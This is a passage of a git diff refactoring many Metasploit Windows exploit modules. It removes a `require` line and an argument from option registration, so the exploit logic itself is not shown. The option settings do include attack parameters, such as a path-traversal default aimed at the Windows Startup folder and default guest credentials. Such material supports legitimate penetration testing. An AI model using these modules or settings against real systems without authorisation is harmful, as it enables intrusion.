< Msf::Exploit::Remote ], 'DisclosureDate' => 'Jan 12 2012')) - register_options([Opt::RPORT(23472)], self.class) + register_options([Opt::RPORT(23472)]) end def exploit diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index 6da50b07fa..fe471d0e90 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -87,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 17 2009')) - register_options([Opt::RPORT(5555)], self.class) + register_options([Opt::RPORT(5555)]) end def check diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index f5dbf7bd77..705c0af4e9 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -87,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 17 2009')) - register_options([Opt::RPORT(5555)], self.class) + register_options([Opt::RPORT(5555)]) end def check diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb index e0332ba2a2..09e03b4104 100644 --- a/modules/exploits/windows/misc/hp_omniinet_3.rb +++ b/modules/exploits/windows/misc/hp_omniinet_3.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 29 2011')) - register_options([Opt::RPORT(5555)], self.class) + register_options([Opt::RPORT(5555)]) end def check diff --git a/modules/exploits/windows/misc/hp_omniinet_4.rb b/modules/exploits/windows/misc/hp_omniinet_4.rb index 4128ceaf0c..d58a714a10 100644 --- a/modules/exploits/windows/misc/hp_omniinet_4.rb +++ b/modules/exploits/windows/misc/hp_omniinet_4.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => "Jun 29 2011", 'DefaultTarget' => 0)) - register_options([Opt::RPORT(5555)], self.class) + register_options([Opt::RPORT(5555)]) end def nop diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index a7e2b6619a..87c8bb3f46 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 704f3f28c4..dd4db00d74 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/misc/hp_ovtrace.rb b/modules/exploits/windows/misc/hp_ovtrace.rb index 77ff5cd927..f90f58b906 100644 --- a/modules/exploits/windows/misc/hp_ovtrace.rb +++ b/modules/exploits/windows/misc/hp_ovtrace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 9 2007')) - register_options([Opt::RPORT(5051)], self.class) + register_options([Opt::RPORT(5051)]) end def exploit diff --git a/modules/exploits/windows/misc/ib_isc_attach_database.rb b/modules/exploits/windows/misc/ib_isc_attach_database.rb index 8b90ae8b18..2f0ea3d8a8 100644 --- a/modules/exploits/windows/misc/ib_isc_attach_database.rb +++ b/modules/exploits/windows/misc/ib_isc_attach_database.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/misc/ib_isc_create_database.rb b/modules/exploits/windows/misc/ib_isc_create_database.rb index 19e55148ad..cdb0b859fb 100644 --- a/modules/exploits/windows/misc/ib_isc_create_database.rb +++ b/modules/exploits/windows/misc/ib_isc_create_database.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/misc/ib_svc_attach.rb b/modules/exploits/windows/misc/ib_svc_attach.rb index 7a177f1417..5b5f9119a7 100644 --- a/modules/exploits/windows/misc/ib_svc_attach.rb +++ b/modules/exploits/windows/misc/ib_svc_attach.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index 2b8ed7bd4c..f1a1f99daf 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Apr 02 2012')) - register_options([Opt::RPORT(5498)], self.class) + register_options([Opt::RPORT(5498)]) end def exploit diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb index 965e5cc20c..ce0a03f4a4 100644 --- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb +++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(6988), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]) - ], self.class) + ]) end def auto_target(cli, request) diff --git a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb index af43d8f24c..a7dc3af015 100644 --- a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb +++ b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 04 2009')) - register_options( [ Opt::RPORT(1582) ], self.class ) + register_options( [ Opt::RPORT(1582) ]) end def exploit diff --git a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb index 6a5f5a1bdb..564f13100c 100644 --- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb +++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 04 2009')) - register_options( [ Opt::RPORT(1582) ], self.class ) + register_options( [ Opt::RPORT(1582) ]) end diff --git a/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb index b68585d79a..c591ed3d8a 100644 --- a/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']), Opt::RPORT('8880') - ], self.class) + ]) end diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index 677ab83852..67fe67c974 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/misc/landesk_aolnsrvr.rb b/modules/exploits/windows/misc/landesk_aolnsrvr.rb index e6aa0aa5eb..23b622d4f8 100644 --- a/modules/exploits/windows/misc/landesk_aolnsrvr.rb +++ b/modules/exploits/windows/misc/landesk_aolnsrvr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 13 2007')) - register_options([Opt::RPORT(65535)], self.class) + register_options([Opt::RPORT(65535)]) end def exploit diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb index b9e6600298..844b3fad5e 100644 --- a/modules/exploits/windows/misc/lianja_db_net.rb +++ b/modules/exploits/windows/misc/lianja_db_net.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8001), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb index 1ce06c4926..6f545c4cde 100644 --- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8400), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]) - ], self.class) + ]) end def uri diff --git a/modules/exploits/windows/misc/mercury_phonebook.rb b/modules/exploits/windows/misc/mercury_phonebook.rb index 1ca77aead5..e797b3cad3 100644 --- a/modules/exploits/windows/misc/mercury_phonebook.rb +++ b/modules/exploits/windows/misc/mercury_phonebook.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/misc/mini_stream.rb b/modules/exploits/windows/misc/mini_stream.rb index 5bfbbb284b..bc8ea2c951 100644 --- a/modules/exploits/windows/misc/mini_stream.rb +++ b/modules/exploits/windows/misc/mini_stream.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, 'The URI to use for this exploit', 'msf.pls']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb index fdfaf0add6..bf6a39239c 100644 --- a/modules/exploits/windows/misc/mirc_privmsg_server.rb +++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The IRC server port to listen on", 6667 ]), OptString.new('SRVNAME', [ true, "Welcome to the ... IRC Server Name", "Internet Relay Network" ]), - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb index e021f4f11e..7fd6ef7583 100644 --- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb +++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8082), OptInt.new('DEPTH', [true, "Levels to reach base directory",7]) - ], self.class) + ]) end # Msf::Exploit::Remote::HttpClient is avoided because send_request_cgi doesn't get diff --git a/modules/exploits/windows/misc/netcat110_nt.rb b/modules/exploits/windows/misc/netcat110_nt.rb index ca13a1fbef..596818ec9e 100644 --- a/modules/exploits/windows/misc/netcat110_nt.rb +++ b/modules/exploits/windows/misc/netcat110_nt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/misc/nettransport.rb b/modules/exploits/windows/misc/nettransport.rb index 9c93950deb..e6ae4fa612 100644 --- a/modules/exploits/windows/misc/nettransport.rb +++ b/modules/exploits/windows/misc/nettransport.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(22222) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/misc/nvidia_mental_ray.rb b/modules/exploits/windows/misc/nvidia_mental_ray.rb index 54952dab64..2c9f5cbdb4 100644 --- a/modules/exploits/windows/misc/nvidia_mental_ray.rb +++ b/modules/exploits/windows/misc/nvidia_mental_ray.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(7414), OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) - ], self.class) + ]) deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME') end diff --git a/modules/exploits/windows/misc/poisonivy_21x_bof.rb b/modules/exploits/windows/misc/poisonivy_21x_bof.rb index a386dff6ef..51ce49f7f9 100644 --- a/modules/exploits/windows/misc/poisonivy_21x_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_21x_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3460) - ], self.class) + ]) end diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 92a41a9510..aad42b6d3b 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -84,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3460) - ], self.class) + ]) end diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index b00e4573e5..099b77d44a 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb index 82bf4b2499..a25a160e22 100644 --- a/modules/exploits/windows/misc/poppeeper_uidl.rb +++ b/modules/exploits/windows/misc/poppeeper_uidl.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/misc/realtek_playlist.rb b/modules/exploits/windows/misc/realtek_playlist.rb index b1d3e0876d..c875f8bf5f 100644 --- a/modules/exploits/windows/misc/realtek_playlist.rb +++ b/modules/exploits/windows/misc/realtek_playlist.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb index bd359502e7..2e30b29013 100644 --- a/modules/exploits/windows/misc/sap_2005_license.rb +++ b/modules/exploits/windows/misc/sap_2005_license.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 1 2009')) - register_options([Opt::RPORT(30000)], self.class) + register_options([Opt::RPORT(30000)]) end diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index 1def1adc90..8db4297820 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 1, 'DisclosureDate' => 'May 8 2012')) - register_options([Opt::RPORT(3200)], self.class) + register_options([Opt::RPORT(3200)]) end diff --git a/modules/exploits/windows/misc/shixxnote_font.rb b/modules/exploits/windows/misc/shixxnote_font.rb index 35326a2771..dc2c5ba48d 100644 --- a/modules/exploits/windows/misc/shixxnote_font.rb +++ b/modules/exploits/windows/misc/shixxnote_font.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(2000) - ], self.class) + ]) end diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index fb3049aa86..b84b608735 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptInt.new('DEPTH', [true, 'Traversal depth', 10]), Opt::RPORT(30000) - ], self.class) + ]) end # diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index 9c6d3dcffb..0c7121c5cc 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index 1bd28765a2..86036d1fdc 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb index 34f7cbf704..6b4abd3894 100644 --- a/modules/exploits/windows/misc/talkative_response.rb +++ b/modules/exploits/windows/misc/talkative_response.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/misc/tiny_identd_overflow.rb b/modules/exploits/windows/misc/tiny_identd_overflow.rb index a12b6c76f8..7469432d7a 100644 --- a/modules/exploits/windows/misc/tiny_identd_overflow.rb +++ b/modules/exploits/windows/misc/tiny_identd_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'May 14 2007' )) - register_options([ Opt::RPORT(113) ], self.class) + register_options([ Opt::RPORT(113) ]) end def exploit diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb index 602dcce773..b4a68d323b 100644 --- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb +++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(20101) - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/misc/ufo_ai.rb b/modules/exploits/windows/misc/ufo_ai.rb index fbfeab6bd0..f83ea8ef8c 100644 --- a/modules/exploits/windows/misc/ufo_ai.rb +++ b/modules/exploits/windows/misc/ufo_ai.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb index b604eb09ba..3ce0b91934 100644 --- a/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb +++ b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]), OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ]) - ], self.class) + ]) # no SSL deregister_options('SSL', 'SSLVersion', 'SSLCert') diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb index 8db7d2160c..e0a54d6121 100644 --- a/modules/exploits/windows/misc/windows_rsh.rb +++ b/modules/exploits/windows/misc/windows_rsh.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jul 24 2007', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(514)], self.class) + register_options([Opt::RPORT(514)]) end def exploit diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb index 2038a67811..1082d39b76 100644 --- a/modules/exploits/windows/misc/wireshark_lua.rb +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]), OptString.new('URIPATH', [ true, "The URI to use", "/" ]), OptString.new('FILENAME', [ true, "The name of the pcap file", "msf.pcap"]) - ], self.class) + ]) deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL end diff --git a/modules/exploits/windows/misc/wireshark_packet_dect.rb b/modules/exploits/windows/misc/wireshark_packet_dect.rb index 4ac2312823..1c4332522a 100644 --- a/modules/exploits/windows/misc/wireshark_packet_dect.rb +++ b/modules/exploits/windows/misc/wireshark_packet_dect.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -58,12 +56,12 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptBool.new('LOOP', [true, 'Send the packet every X seconds until the job is killed', false]), OptInt.new('DELAY', [true, 'This option sets the delay between sent packets', 5]) - ], self.class) + ]) register_advanced_options([ OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]), - ], self.class) + ]) deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') end diff --git a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb index 702c4c0e37..da471014b9 100644 --- a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb +++ b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1755) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/motorola/timbuktu_fileupload.rb b/modules/exploits/windows/motorola/timbuktu_fileupload.rb index 8b7959b40c..3a74b87136 100644 --- a/modules/exploits/windows/motorola/timbuktu_fileupload.rb +++ b/modules/exploits/windows/motorola/timbuktu_fileupload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(407), OptString.new('PATH', [ true, 'The path to place the executable.', '\\../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index f16938f734..ee645aa85e 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb index cf6ca68dcc..c8969a88ae 100644 --- a/modules/exploits/windows/mssql/ms02_039_slammer.rb +++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1434) - ], self.class) + ]) end diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb index 4016a5c781..01b7d1dcd9 100644 --- a/modules/exploits/windows/mssql/ms02_056_hello.rb +++ 